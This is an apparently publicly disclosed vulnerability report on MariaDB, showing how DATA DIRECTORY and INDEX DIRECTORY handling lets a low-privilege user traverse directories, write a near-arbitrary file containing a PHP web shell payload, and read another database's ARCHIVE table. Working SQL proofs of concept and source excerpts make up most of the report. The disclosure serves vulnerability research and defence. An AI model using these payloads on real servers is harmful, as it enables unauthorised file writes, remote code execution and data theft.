HexBrain

MariaDB · Report #3849025

DATA / INDEX DIRECTORY Abuse

Validstatus
8upvotes
7 Oct 2026disclosed

How it was found

A user with ordinary schema-level privileges (SELECT, INSERT, CREATE etc, but no global FILE privilege) may be able to coerce MariaDB into writing (almost) arbitrary data into attacker chosen locations by abusing issues with how a table's DATA DIRECTORY or INDEX DIRECTORY values are used.

Basic Overview

SELECT VERSION(), @@have_symlink;
-- 13.1.0-MariaDB, YES

SELECT '<?php system("uname -a && id");' INTO OUTFILE '/tmp/shell.php';
-- ERROR 1227 (42000): Access denied; you need (at least one of) the FILE privilege(s)


-- InnoDB
--   - only supports `DATA DIRECTORY`
--   - will create any missing directories automagically
--   - will write to `<directory>/<db>/<table>.idb`

CREATE TABLE poc_innodb(a INT)
  ENGINE=InnoDB
  DATA DIRECTORY='/tmp/poc';

-- creates:
--   /tmp/poc/testdb/poc_innodb.ibd

-- ====================================================== --

-- MyISAM / Aria
--   - supports both `DATA` and `INDEX DIRECTORY`
--   - data / index directories must already exists
--   - will write to `<directory>/<table>.<ext>`

CREATE TABLE poc_myisam(a INT KEY)
  ENGINE=MyISAM
  DATA DIRECTORY='/tmp/poc'
  INDEX DIRECTORY='/tmp/poc';

-- creates:
--   /tmp/poc/poc_myisam.MYD
--   /tmp/poc/poc_myisam.MYI


CREATE TABLE poc_aria(a INT)
  ENGINE=Aria
  DATA DIRECTORY='/tmp/poc'
  INDEX DIRECTORY='/tmp/poc';

-- creates:
--   /tmp/poc/poc_aria.MAD
--   /tmp/poc/poc_aria.MAI

Note: target directories must be writable by the mariadbd process and table related filenames cannot already exist.

All good so far - no real surprises.

Directory Traversal

While valid table names may contain path components such as / and ., normal table file paths get built with build_table_filename() which uses tablename_to_filename() to sanitize both the database and table names.

server/sql/sql_table.cc:586

uint build_table_filename(char *buff, size_t bufflen, const char *db,
                          const char *table_name, const char *ext, uint flags)
{
  char dbbuff[FN_REFLEN];
  char tbbuff[FN_REFLEN];

  (void) tablename_to_filename(db, dbbuff, sizeof(dbbuff));
  ...

  if (flags & FN_IS_TMP)
    strmake(tbbuff, table_name, sizeof(tbbuff)-1);
  else
    (void) tablename_to_filename(table_name, tbbuff, sizeof(tbbuff));
  ...
}

The path seems to be different for tables with external directories. During CREATE TABLE MariaDB calls append_file_to_dir() on create_info.data_file_name and create_info.index_file_name to add the table name directly without using tablename_to_filename().

sql/sql_table.cc:13632

/* Fix names if symlinked or relocated tables */
if (append_file_to_dir(thd, &create_info.data_file_name,
                       &create_table->table_name) ||
    append_file_to_dir(thd, &create_info.index_file_name,
                       &create_table->table_name))
  goto end_with_restore_list;

e.g.

CREATE TABLE `../../../../tmp/poc_myisam`(a INT)
  ENGINE=MyISAM;

-- created:
--   /var/lib/mysql/testdb/@002e@002e@002f@002e@002e@002f@002e@002e@002f@002e@002e@002ftmp@002fpoc_myisam.MYD

CREATE TABLE `../../../tmp/poc_myisam`(a INT)
  DATA DIRECTORY='/tmp/foo/bar'
  ENGINE=MyISAM;

-- created:
--   /tmp/poc_myisam.MYD
--
-- instead of:
--   /tmp/foo/bar/@002e@002e@002f@002e@002e@002f@002e@002e@002ftmp@002fpoc_myisam.MYD

While the above example could have just used DATA DIRECTORY='/tmp' to achieve the same thing, it does highlight that table data may end up living outside of the originally defined directories.

InnoDB fairs a little better.

CREATE TABLE `../../../tmp/poc_innodb`(a INT)
  DATA DIRECTORY='/tmp/foo/bar'
  ENGINE=InnoDB;

-- created:
--   /tmp/testdb/@002e@002e@002f@002e@002e@002f@002e@002e@002ftmp@002fpoc_innodb.ibd
--
-- instead of:
--   /tmp/foo/bar/testdb/@002e@002e@002f@002e@002e@002f@002e@002e@002f@002e@002e@002f@002e@002e@002ftmp@002fpoc_innodb.idb

Directory Traversal into Restricted Directories

After the raw table name is appended to create_info.data_file_name / index_file_name, it is later checked to ensure that the files are actually external to the normal data directories.

sql/sql_table.cc:4691

if (unlikely(error_if_data_home_dir(create_info->data_file_name,
                                    "DATA DIRECTORY")) ||
    unlikely(error_if_data_home_dir(create_info->index_file_name,
                                    "INDEX DIRECTORY")) ||
    unlikely(check_partition_dirs(thd->lex->part_info)))
  goto err;

sql/sql_parse.cc:10268

int error_if_data_home_dir(const char *path, const char *what)
{
  ...
  dirname_part(dirpath, path, &dirlen);
  if (test_if_data_home_dir(dirpath))
  {
    my_error(ER_WRONG_ARGUMENTS, MYF(0), what);
    return 1;
  }
  ...

test_if_data_home_dir() > fn_format(..., MY_RETURN_REAL_PATH) > my_realpath()

mysys/my_symlink.c:157

int my_realpath(char *to, const char *filename, myf MyFlags)
{
  ...
  if ((ptr=realpath(filename[0] ? filename : cur_dir, buff)))
    strmake(to, ptr, FN_REFLEN-1);
  else
  {
    /*
      Realpath didn't work;  Use my_load_path() which is a poor substitute
      original name but will at least be able to resolve paths that starts
      with '.'.
    */
    ...
    my_load_path(to, filename, NullS);
    ...

Thus if the table data path contains segments that don't exist, realpath() will fail and my_realpath() falls back to using my_load_path() - causing the error_if_data_home_dir() checks to pass and allowing traversal into restricted directories.

Proof of Concept

SELECT @@datadir;
-- /var/lib/mysql


CREATE TABLE `../../var/lib/mysql/poc_myisam_datadir`(a INT KEY)
  ENGINE=MyISAM
  DATA DIRECTORY='/tmp/poc';

-- ERROR 1210 (HY000): Incorrect arguments to DATA DIRECTORY


CREATE TABLE `../../../var/lib/mysql/poc_myisam_datadir`(a INT KEY)
  ENGINE=MyISAM
  DATA DIRECTORY='/tmp/poc/does-not-exist-myisam';

-- creates:
--   /var/lib/mysql/poc_myisam_datadir.MYD
-- 
-- instead of attempting to use the following (and then failing because `does-not-exist-myisam` doesn't exist?):
--   /tmp/poc/does-not-exist-myisam/[encoded]poc_myisam_datadir.MYD
-- 
-- **note:** the table is not useable after creation
-- 
-- INSERT ...
-- ERROR 1030 (HY000): Got error 140 "Wrong create options" from storage engine MyISAM

InnoDB behaves in a similar matter, will create /tmp/poc/does-not-exist-innodb and create /var/lib/mysql/testdb/@002e@002e@002f@002e@002e@002f@002e@002e@002ftmp@002fmariadb@002drelease@002e72mrpw@002fdata@002fpoc_innodb_datadir.ibd ... but that doesn't seem to have much advantage :shrug:

Just using /proc/self/cwd/foobar might also work under linux?

What's more interesting is ...

Arbitrary Table Data Filenames

When the data_file_name / index_file_name values get passed to the storage engines for creation, they are reformatted into their final filenames (file extensions get added etc) with something like the following:

storage/myisam/mi_create.c:677

fn_format(dfilename, ci->data_file_name, "", MI_NAME_DEXT,
          MY_UNPACK_FILENAME |
          (have_dext ? MY_REPLACE_EXT : MY_APPEND_EXT));

The problem is that if data_file_name happens to be large enough (508-511), fn_format() won't append the extension because the length of the new filename would be >= FN_REFLEN (512) and the original file name, which may already contain some other extension, will be used instead.

mysys/mf_format.c:79

char * fn_format(char * to, const char *name, const char *dir,
		    const char *extension, uint flag)
{
  ...
  if (strlen(dev)+length+strlen(ext) >= FN_REFLEN || length >= FN_LEN )
  {
    /* To long path, return original or NULL */
    size_t tmp_length;
    if (flag & MY_SAFE_PATH)
      DBUG_RETURN(NullS);
    tmp_length= strlength(startpos);
    DBUG_PRINT("error",("dev: '%s'  ext: '%s'  length: %u",dev,ext,
                        (uint) length));
    (void) strmake(to,startpos,MY_MIN(tmp_length,FN_REFLEN-1));
  }
  ...

Unrelated: there is a typo above in comment /* To long ... */)

While being able to create table files in a long path with arbitrary extensions might already be beneficial to an attacker, it doesn't allow for arbitrary file placement directly (I haven't checked symlink based attacks) because cleanup_dirname() is called before this to normalize the path and resolve potential directory traversal issues ... except this can be bypassed in two separate ways.

mysys/mf_pack.c:197

size_t cleanup_dirname(register char *to, const char *from)
{
  ...
  if (pos[1] == FN_HOMELIB ||
     (pos >= start && memcmp(pos, parent, length) == 0))
  {					/* Don't remove ~user/ */
    pos=strmov(end_parentdir+1,parent);
    *pos=FN_LIBCHAR;
    continue;
  }
  ...

Paths that start with multiple /.. segments or those that contain ~foobar/../../.. do not get handled correctly by cleanup_dirname(). This allows an attacker to keep the internal filename that MariaDB is using artificially long enough such that the storage engine does not append its own extensions, while the OS resolves the filename somewhere shorter.

Proof of Concept

SET @target  = '/tmp/shell.php';
SET @payload = '<?php system( "uname -a && id" );';

SELECT SUBSTRING_INDEX(@target, '/', -1) INTO @tbl;
SELECT CONCAT(REPEAT('/..', FLOOR((511 - LENGTH(@target)) / 3)), LEFT(@target, LENGTH(@target) - LENGTH(@tbl) - 1)) INTO @dir;
SELECT CONCAT("CREATE TABLE `", @tbl, "`(payload CHAR(", LENGTH(@payload), ") CHARACTER SET binary NOT NULL) ENGINE=MyISAM DATA DIRECTORY='", @dir, "'") INTO @sql;
PREPARE tbl_create FROM @sql;
EXECUTE tbl_create;

-- % ls -la /tmp/shell.php
-- -rw-rw----@ 1 vortfu  wheel  0 Jun 30 14:22 /tmp/shell.php

SELECT CONCAT('INSERT INTO `', @tbl, '` VALUES (BINARY(?))') INTO @sql;
PREPARE tbl_insert FROM @sql;
EXECUTE tbl_insert USING @payload;

-- % hexdump -C /tmp/shell.php
-- 00000000  ff 3c 3f 70 68 70 20 73  79 73 74 65 6d 28 20 22  |.<?php system( "|
-- 00000010  75 6e 61 6d 65 20 2d 61  20 26 26 20 69 64 22 20  |uname -a && id" |
-- 00000020  29 3b                                             |);|
-- 00000022

One little leading 0xff byte away from completely arbitrary file contents ... but it is still enough to cause problems depending on what can be written where :) Different engines / field types may provide different row framing bytes depending on the attacker's actual need.

(BONUS BUG) ARCHIVE Table Data File Overwrite / Deletion

The optional ARCHIVE storage engine somewhat extends the above DATA DIRECTORY issues because it opens the target data file with O_CREAT|O_RDWR and no O_EXCL or O_TRUNC before immediately rewriting the archive header.

storage/archive/ha_archive.cc:840

if (my_use_symdir &&
    create_info->data_file_name &&
    create_info->data_file_name[0] != '#')
{
  fn_format(name_buff, create_info->data_file_name, "", ARZ,
            MY_REPLACE_EXT | MY_UNPACK_FILENAME);
  fn_format(linkname, name, "", ARZ,
            MY_REPLACE_EXT | MY_UNPACK_FILENAME);
}
...

/*
  There is a chance that the file was "discovered". In this case
  just use whatever file is there.
*/
my_errno= 0;
if (!(azopen(&create_stream, name_buff, O_CREAT|O_RDWR|O_BINARY)))
  ...

While we can't target arbitrary files to create / overwrite because the archive filename will replace the extension with .ARZ, we can use the above long DATA DIRECTORY trick to target extensionless files. They can then be overwritten or deleted when the table is dropped.

If overwriting an existing ARCHIVE file, it's possible to leak data without access.

Proof of Concept

Note: the following poc targets a cross db leak between ARCHIVE tables. If targeting tables in the same db you might need to use the arbitrary table files bug above and access the data via <table>.arz instead. I didn't test.

USE victimdb;

CREATE TABLE `secret` (data CHAR(255) CHARACTER SET binary NOT NULL) ENGINE=ARCHIVE DATA DIRECTORY='/tmp/poc' COMMENT='foo';
INSERT INTO `secret` VALUES ('secret 1'),('secret 2'),('secret 3');
SELECT * FROM `secret`;
-- secret 1
-- secret 2
-- secret 3
USE testdb;

SELECT * FROM `victimdb`.`secret`;
-- ERROR 1142 (42000): SELECT command denied to user 'vortfu'@'localhost' for table `victimdb`.`secret`

CREATE TABLE `secret` (data CHAR(255) CHARACTER SET binary NOT NULL) ENGINE=ARCHIVE DATA DIRECTORY='/tmp/poc' COMMENT='foo';
SELECT * FROM `secret`;
-- Empty set (0.011 sec)

INSERT INTO `secret` VALUES ('test 1'), ('test 2');
SELECT * FROM `secret`;
-- secret 1
-- secret 2

INSERT INTO `secret` VALUES ('test 3'), ('test 4'), ('test 5');
SELECT * FROM `secret`;
-- secret 1
-- secret 2
-- secret 3

Note: new rows inserted into secret may crash the table ...

If the table definitions DON'T match, it tends to stay alive (for a while at least) but turns into a black hole from both sides.

INSERT INTO `secret` values ('foobar');
-- Query OK, 1 row affected (0.000 sec)

SELECT * FROM `secret`;
-- Empty set (0.008 sec)

Apologies for the long read :)

Impact

Describe impact here.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original